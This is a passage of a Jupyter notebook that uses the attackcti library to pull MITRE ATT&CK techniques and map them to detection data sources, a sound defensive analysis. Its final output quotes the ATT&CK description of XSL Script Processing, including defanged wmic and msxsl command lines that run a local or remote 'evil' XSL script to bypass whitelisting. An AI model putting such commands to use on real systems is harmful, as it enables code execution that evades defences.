1166Indicator Removal on HostWindows event logs
1583Obfuscated Files or InformationWindows event logs
\n", "
" ], "text/plain": [ " technique data_sources\n", "1792 Credential Dumping PowerShell logs\n", "95 Exploitation for Defense Evasion Windows Error Reporting\n", "131 Exploitation of Remote Services Windows Error Reporting\n", "238 Exploitation for Credential Access Windows Error Reporting\n", "1186 Exploitation for Privilege Escalation Windows Error Reporting\n", "987 Disabling Security Tools Windows Registry\n", "1113 Third-party Software Windows Registry\n", "1282 Input Capture Windows Registry\n", "1307 Process Injection Windows Registry\n", "3 File Permissions Modification Windows event logs\n", "571 Create Account Windows event logs\n", "1166 Indicator Removal on Host Windows event logs\n", "1583 Obfuscated Files or Information Windows event logs" ] }, "execution_count": 54, "metadata": {}, "output_type": "execute_result" } ], "source": [ "techniques_analysis_data_no_ok[['technique','data_sources']].drop_duplicates().sort_values(by='data_sources',ascending=True)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Without considering this inconsistent data, the final dataframe is:" ] }, { "cell_type": "code", "execution_count": 55, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
matrixplatformtactictechniquetechnique_iddata_sourcesValidation
0mitre-attackLinuxdefense-evasionFile Permissions ModificationT1222File monitoringOK
1mitre-attackLinuxdefense-evasionFile Permissions ModificationT1222Process MonitoringOK
2mitre-attackLinuxdefense-evasionFile Permissions ModificationT1222Process command-line parametersOK
4mitre-attackWindowsdefense-evasionFile Permissions ModificationT1222File monitoringOK
5mitre-attackWindowsdefense-evasionFile Permissions ModificationT1222Process MonitoringOK
\n", "
" ], "text/plain": [ " matrix platform tactic technique \\\n", "0 mitre-attack Linux defense-evasion File Permissions Modification \n", "1 mitre-attack Linux defense-evasion File Permissions Modification \n", "2 mitre-attack Linux defense-evasion File Permissions Modification \n", "4 mitre-attack Windows defense-evasion File Permissions Modification \n", "5 mitre-attack Windows defense-evasion File Permissions Modification \n", "\n", " technique_id data_sources Validation \n", "0 T1222 File monitoring OK \n", "1 T1222 Process Monitoring OK \n", "2 T1222 Process command-line parameters OK \n", "4 T1222 File monitoring OK \n", "5 T1222 Process Monitoring OK " ] }, "execution_count": 55, "metadata": {}, "output_type": "execute_result" } ], "source": [ "techniques_analysis_data_ok = techniques_data_3[techniques_data_3.Validation == 'OK']\n", "techniques_analysis_data_ok.head()" ] }, { "cell_type": "code", "execution_count": 56, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "There are 1790 rows of data that you can play with\n" ] } ], "source": [ "print('There are ',len(techniques_analysis_data_ok),' rows of data that you can play with')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 15. Getting Techniques by Data Sources" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "This function gets techniques' information that includes specific data sources" ] }, { "cell_type": "code", "execution_count": 57, "metadata": {}, "outputs": [], "source": [ "from attackcti import attack_client\n", "lift = attack_client()" ] }, { "cell_type": "code", "execution_count": 58, "metadata": {}, "outputs": [], "source": [ "data_source = 'PROCESS MONITORING'" ] }, { "cell_type": "code", "execution_count": 59, "metadata": {}, "outputs": [], "source": [ "results = lift.get_techniques_by_datasources(data_source)" ] }, { "cell_type": "code", "execution_count": 60, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "157" ] }, "execution_count": 60, "metadata": {}, "output_type": "execute_result" } ], "source": [ "len(results)" ] }, { "cell_type": "code", "execution_count": 61, "metadata": {}, "outputs": [], "source": [ "data_sources_list = ['pRoceSS MoniTorinG','process commAnd-linE parameters']" ] }, { "cell_type": "code", "execution_count": 62, "metadata": {}, "outputs": [], "source": [ "results2 = lift.get_techniques_by_datasources(data_sources_list)" ] }, { "cell_type": "code", "execution_count": 63, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "166" ] }, "execution_count": 63, "metadata": {}, "output_type": "execute_result" } ], "source": [ "len(results2)" ] }, { "cell_type": "code", "execution_count": 64, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "{'type': 'attack-pattern',\n", " 'id': 'attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3',\n", " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", " 'created': '2018-10-17 00:14:20.652000+00:00',\n", " 'modified': '2018-10-17 00:14:20.652000+00:00',\n", " 'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", " 'url': 'https://attack.mitre.org/techniques/T1220',\n", " 'matrix': 'mitre-attack',\n", " 'technique': 'XSL Script Processing',\n", " 'technique_description': 'Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\\n\\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018)\\n\\nCommand-line example: (Citation: Penetration Testing Lab MSXSL July 2017)\\n\\n* msxsl.exe customers[.]xml script[.]xsl\\n\\nAnother variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file. (Citation: subTee WMIC XSL APR 2018) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool.\\n\\nCommand-line examples: (Citation: subTee WMIC XSL APR 2018)\\n\\n* Local File: wmic process list /FORMAT:evil[.]xsl\\n* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”',\n", " 'tactic': ['defense-evasion', 'execution'],\n", " 'technique_id': 'T1220',\n", " 'platform': ['Windows'],\n", " 'data_sources': ['Process Monitoring',\n", " 'Process command-line parameters',\n", " 'Process use of network',\n", " 'DLL monitoring'],\n", " 'defense_bypassed': ['Anti-virus',\n", " 'Application whitelisting',\n", " 'Digital Certificate Validation'],\n", " 'permissions_required': ['User'],\n", " 'effective_permissions': None,\n", " 'system_requirements': ['Microsoft Core XML Services (MSXML) or access to wmic.exe'],\n", " 'network_requirements': None,\n", " 'remote_support': False,\n", " 'contributors': ['Casey Smith', 'Praetorian'],\n", " 'technique_references': ['https://attack.mitre.org/techniques/T1220',\n", " 'https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script',\n", " 'https://www.microsoft.com/download/details.aspx?id=21714',\n", " 'https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/',\n", " 'https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html',\n", " 'https://twitter.com/dez_/status/986614411711442944',\n", " 'https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/'],\n", " 'detectable_by_common_defenses': None,\n", " 'detectable_explanation': None,\n", " 'difficulty_for_adversary': None,\n", " 'difficulty_explanation': None,\n", " 'tactic_type': None}" ] }, "execution_count": 64, "metadata": {}, "output_type": "execute_result" } ], "source": [ "results2[1]" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.5" } }, "nbformat": 4, "nbformat_minor": 2 }